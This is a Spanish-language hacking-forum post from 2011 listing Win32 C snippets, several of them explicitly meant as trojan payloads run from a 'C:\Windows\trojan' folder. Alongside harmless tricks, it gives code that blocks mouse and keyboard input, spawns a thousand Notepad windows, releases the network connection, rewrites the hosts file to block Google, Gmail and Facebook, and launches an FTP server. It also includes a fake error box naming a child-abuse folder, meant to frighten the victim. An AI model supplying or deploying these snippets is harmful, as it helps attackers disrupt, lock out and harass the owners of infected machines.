Apis [C]

  • 0 Respuestas
  • 2528 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5678
  • Actividad:
    30%
  • Country: ar
  • Reputación 37
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Apis [C]

  • en: Mayo 22, 2011, 09:46:13 pm
========================
APIs C
=======================

Abrir bandeja de CD-rom:

Código: (c) [Seleccionar]
#include <mmsystem.h>
 mciSendString("Set CDAudio Door Open",NULL,0,GetActiveWindow());
 mciSendString("Set CDAudio Door Open",NULL,0,NULL);


Cerra bandeja lo mismo:
Código: (c) [Seleccionar]
mciSendString("Set CDAudio Door Closed",NULL,0,GetActiveWindow());
 mciSendString("Set CDAudio Door Closed",NULL,0,NULL);

=======================

Ocultar barra de tareas:
Código: (c) [Seleccionar]
HWND reg;
 reg = FindWindow("Shell_TrayWnd",0);
 ShowWindow(reg, SW_HIDE);

Mostrar barra de tareas:
Código: (c) [Seleccionar]
HWND reg;
 reg = FindWindow("Shell_TrayWnd",0);
 ShowWindow(reg, SW_SHOW);

=======================

Ocultar aplicacion en barra de tareas:

para ocultar:
Código: (c) [Seleccionar]
ShowWindow(Application.Handle, SW_HIDE);para mostrar:
Código: (c) [Seleccionar]
ShowWindow(Application.Handle, SW_SHOW);
=======================

Ocultar boton de inicio:
Código: (c) [Seleccionar]
HRGN Rgn;
 HANDLE tWnd;
 tWnd = FindWindow("Shell_TrayWnd", 0);
 Rgn = CreateRectRgn(0, 0, 0, 0);
 SetWindowRgn(FindWindowEx(tWnd, 0, "BUTTON", 0), Rgn, true);

Mostrar boton de inicio:
Código: (c) [Seleccionar]
HANDLE tWnd;
 tWnd = FindWindow("Shell_TrayWnd", 0);
 SetWindowRgn(FindWindowEx(tWnd, 0, "BUTTON", 0), 0, true);

 Otra forma casi la misma:
Ocultar boton inicio:
Código: (c) [Seleccionar]
HANDLE tWnd,bWnd ;
 tWnd = FindWindow("Shell_TrayWnd", 0);
 bWnd=FindWindowEx(tWnd, 0, "BUTTON", 0);
 ShowWindow (bWnd, SW_HIDE);

Mostrar:
Código: (c) [Seleccionar]
HANDLE tWnd,bWnd;
 tWnd = FindWindow("Shell_TrayWnd", 0);
 bWnd=FindWindowEx(tWnd, 0, "BUTTON", 0);
  ShowWindow (bWnd, SW_NORMAL);

 =====================
 
 Bloquear mouse y teclado
 
Código: (c) [Seleccionar]
BlockInput(true);
Sleep(600000);
return 0;

=====================

Change Foreground Window Title

Código: (c) [Seleccionar]
HWND Window;
Window = GetForegroundWindow();
SetWindowText(Window, L"Your text here");
Sleep(10000);
return 0;

=====================

Turn Off Monitor

Código: (c) [Seleccionar]
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
Sleep(2000);
return 0;

==============================================================

Swap Mouse Buttons

Código: (c) [Seleccionar]
SwapMouseButton(true);
return 0;

==============================================================

Crazy Mouse


Código: (c) [Seleccionar]
int i,x,y;
for(i= 0; i < 201; i++) {
x = rand()%1001;
y = rand()%801;
SetCursorPos(x,y);
Sleep(200);
}
return 0;

==============================================================

Open a website


Código: (c) [Seleccionar]
ShellExecute(NULL,L"open",L"http://www.yourwebsitehere.com/",NULL,NULL,SW_MAXIMIZE);
return 0;

===============================================================

Disable Taskbar


Código: (c) [Seleccionar]
HWND hWin;
hWin = FindWindow(L"Shell_TrayWnd",NULL);
EnableWindow(hWin,false);
ShowWindow(hWin,false);
return 0;

===============================================================

MessageBox / Error


Código: (c) [Seleccionar]
MessageBox(NULL,TEXT("Error loading C:\\Documents and Settings\\All Users\\Child Porn"),TEXT("Error"),MB_OK | MB_ICONEXCLAMATION );
return 0;

===============================================================

Hide Current Window


Código: (c) [Seleccionar]
HWND hWin;
hWin = GetForegroundWindow();
ShowWindow(hWin,false);
return 0;

===============================================================

Play a sound


Código: (c) [Seleccionar]
PlaySound(TEXT("C:\\Windows\\trojan\\sound.wav"), NULL, SND_FILENAME);
return 0;

===============================================================

Disable Internet


Código: (c) [Seleccionar]
system("ipconfig /release");
return 0;

===============================================================

Open & Close CD Drive


Código: (c) [Seleccionar]
mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);
mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
Sleep(5000);
mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);
mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
Sleep(5000);
mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);
mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
Sleep(5000);
mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);
mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
Sleep(5000);
return 0;

============================================================

Notepad Bomber

Código: (c) [Seleccionar]
int i;
for(i= 0; i < 1001; i++) {
ShellExecute(NULL,L"open",L"notepad.exe",NULL,NULL,SW_MAXIMIZE);
}
return 0;

========================================================

Edits Hosts file to block sites


Código: (c) [Seleccionar]
  FILE *fp;
  int i;
  char hosts_file_path[FILENAME_MAX];
  char ip[] = "0.0.0.0";

  /* Add your sites in the below list. */
  char *blist[] = {
    "www.orkut.com",
    "orkut.com",
    "www.google.com",
    "google.com",
    "www.google.co.in",
    "google.co.in",
    "www.gmail.com",
    "gmail.com",
    "www.facebook.com",
    "facebook.com",
    "www.yahoo.com",
    "yahoo.com",
    "www.twitter.com",
    "twitter.com",
    "#"
  };

  strcpy (hosts_file_path, getenv ("SystemRoot"));
  strcat (hosts_file_path, "\\system32\\drivers\\etc\\hosts");

  if ((fp = fopen (hosts_file_path, "a")) == NULL)
    return 0;

  fputs ("\n", fp);
  for (i = 0; blist[i][0] != '#'; i++)
    {
      fputs (ip, fp);
      fputs ("        ", fp);
      fputs (blist[i], fp);
      fputs ("\n", fp);
    }

  fclose (fp);
  system("echo ' '");
  return 0;


=====================================


Start FTP server (download SlimFTPd and put it in your trojan folder)


Código: (c) [Seleccionar]
ShellExecute(NULL,L"open",L"C:\\Windows\\trojan\\SlimFTPd.exe",NULL,NULL,SW_MAXIMIZE);
return 0;
« Última modificación: Febrero 08, 2014, 06:09:48 pm por Expermicid »